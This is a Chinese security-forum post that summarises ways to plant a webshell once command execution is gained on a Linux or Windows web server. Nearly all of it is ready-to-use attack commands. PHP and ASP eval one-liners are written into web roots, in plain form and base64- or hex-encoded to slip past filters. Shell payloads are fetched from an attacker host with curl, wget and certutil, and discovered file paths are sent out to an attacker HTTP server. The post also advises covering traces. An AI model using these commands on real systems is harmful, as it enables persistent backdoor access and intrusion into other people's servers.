安全矩阵

 找回密码
 立即注册
搜索
查看: 2426|回复: 0

命令执行之文件落地利用总结

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-5-31 20:38:41 | 显示全部楼层 |阅读模式
原文链接:命令执行之文件落地利用总结 (qq.com)

0x01 前言
利用各类RCE远程命令执行或MSSQL注入等漏洞获取到一个能够执行命令的权限后该如何写入Webshell?这里我们根据可能会遇到的多个场景进行了一些测试,如:Linux/Windows,出/不出网、有/无回显。

一般我们在确定能够执行命令时都会选择直接上线CS/MSF,但也会遇到那种不出网、无回显的场景,这时可能就需要找到目标网站的绝对路径先写入一个Webshell,然后再进行后续的信息搜集及内网渗透等。

注:我们可以通过在网站前/后台的上传功能随便传一个文件,然后再利用Windows的for或Linux的while等命令来查找刚上传的文件,或网站下已存在的文件得到绝对路径,最后再写入文件即可,继续往下看。

0x02 Linux
(1) 目标出网,命令有回显
如果目标主机可以出网,并且执行命令有回显,这时我们就可以直接通过执行以下命令来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。

查找绝对路径:
  1. locate 1653042293000.png 2>/dev/null
  2. find / -name 1653042293000.png 2>/dev/null
  3. find / | grep 1653042293000.png 2>/dev/null
  4. find /var/www/html/ -name "*.php" | xargs grep "某某网站"
复制代码
  • 常规方式写入:

  1. echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php
复制代码




远程下载写入:

  1. curl http://192.168.1.120/shell.txt > /var/www/html/shell.php
  2. wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php
复制代码

编辑

(2) 目标出网,命令无回显
如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令使用httplog方式来获取目标网站的绝对路径,然后再利用以下方式写入Webshell,需转义或有防护时可尝试编码方式写入。

查找绝对路径:

  1. python -m SimpleHTTPServer 8888
  2. curl http://192.168.1.120:8888/`find / | grep 1653042293000.png`
  3. wget http://192.168.1.120:8888/`find / | grep 1653042293000.png`
复制代码



  • 编码方式写入:

    1. echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
    2. echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php
    复制代码


编辑

(3) 目标不出网,命令无回显
如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令先遍历出1653042293000.png文件的绝对路径,然后再次遍历该文件绝对路径,或者将Webshell写入到该文件同级目录下。

实战应用中最好是先确定目标网站的绝对路径,然后单独写入Webshell,最好不要直接使用第二条命令,因为如果目标主机上有同名文件时则会往找到的多个绝对路径下写入文件,到时还要注意清理痕迹。

查找绝对路径写入至web目录:
  1. find / -name 1653042293000.png | while read f;do sh -c 'find / -name 1653042293000.png' >$(dirname $f)/path.txt;done
复制代码


           



查找绝对路径写入Webshell:
  1. find / -name 1653042293000.png | while read f;do sh -c "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d">$(dirname $f)/shell.php;done
  2. find / -name 1653042293000.png | while read f;do sh -c "echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps">$(dirname $f)/shell.php;done
复制代码


编辑

0x03 Windows
(1) 目标出网,命令有回显
如果目标主机可以出网,并且执行命令有回显,这时我们可以通过执行dir、where、for、finstr等命令,或读取IIS配置文件等方式来获取目标网站的绝对路径,然后再利用以下多种方式写入或下载Webshell。

查找绝对路径:

  1. dir /a/b/s C:\1653042293000.png
  2. where /r C:\1653042293000.png
  3. for /r "C:" %i in (1653042293000.png*) do @echo %i
  4. findstr /n /s /i "某某网站" C:\*.asp
  5. %windir%\system32\inetsrv\appcmd list VDIR
复制代码
常规方式写入:
  1. set /p="<%execute request("1")%>" <nul >> C:\inetpub\wwwroot\shell.asp
  2. echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
  3. certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp
复制代码
编辑

(2) 目标出网,命令无回显
如果目标主机可以出网,但执行命令无回显,这时我们可以通过执行以下命令在指定的C盘中循环查找1653042293000.png文件,将找到的文件绝对路径保存在%i变量,然后执行certutil通过httplog方式来获取目标网站的绝对路径,或者直接写入Webshell,需转义或有防护时可尝试编码方式写入,需清理shell.txt。

查找绝对路径:
  1. <pre><code>python -m SimpleHTTPServer 8888</code><code>for /r C:\ %i in (1653042293000.png*) do certutil -urlcache -split -f http://192.168.1.120:8888/%i</code></pre>

  2. <p>

  3. </p><p></p>
复制代码

常规方式写入:
  1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22for%20%2Fr%20C%3A%5C%5C%20%25i%20in%20(1653042293000.png*)%20do%20echo%20%5E%3C%25execute%20request(%5C%221%5C%22)%25%5E%3E%20%3E%20%25i%2F..%2Fshell.asp%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp</code></pre>
  2. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.1.3="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""></span>
复制代码



编码方式写入:


  1. for /r C:\ %i in (1653042293000.png*) do echo PCVleGVjdXRlIHJlcXVlc3QoIjEiKSU+ > %i/../shell.txt & certutil -decode %i/../shell.txt %i/../shell.asp
  2. for /r C:\ %i in (1653042293000.png*) do echo 3C256578656375746520726571756573742822312229253E > %i/../shell.txt & certutil -decodehex %i/../shell.txt %i/../shell.asp
复制代码

编辑

(3) 目标不出网,命令无回显
如果目标主机不能出网,并且执行命令无回显,这时我们可以通过执行以下命令将找到的1653042293000.png文件绝对路径,或者将Webshell写入到该文件同级目录下,需转义或有防护时可尝试编码方式写入。

两条命令虽然看起来差不多,但第一条执行效率要高一些,因为在命令执行过程中就已经写入了,第二条得在命令执行完成后才会写入,所以个人推荐使用第一种,注意清理同名文件路径下的痕迹。

查找绝对路径写入至web目录:

  1. for /r C:\ %i in (1653042293000.png*) do echo %i> %i\..\path.txt
  2. for /f %i in ('dir /s /b C:\1653042293000.png') do echo %i> %i\..\path.txt
  3. forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c dir /a/b/s C:\1653042293000.png > path.txt"
复制代码
查找绝对路径写入Webshell:

  1. for /r C:\ %i in (1653042293000.png*) do echo ^<%execute request("1")%^> > %i/../shell.asp
  2. for /f %i in ('dir /s /b C:\1653042293000.png') do echo ^<%execute request("1")%^> > %i/../shell.asp
  3. forfiles /P C:\ /S /M 1653042293000.png /C "cmd /c echo ^<%execute request("1")%^> > shell.asp"
复制代码


编辑

文末总结:
这篇文章我将找绝对路径方式分为3种:命令查找(有回显)、httplog外带(无回显)、写进Web目录(不出网),写文件方式也分为3种:常规写入、编码写入、远程下载。Linux、Windows利用方式都一样,只是命令不一样,都是根据文件名、文件内容找绝对路径,常见文件写入、下载方式进行Getshell。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 16:45 , Processed in 0.020124 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表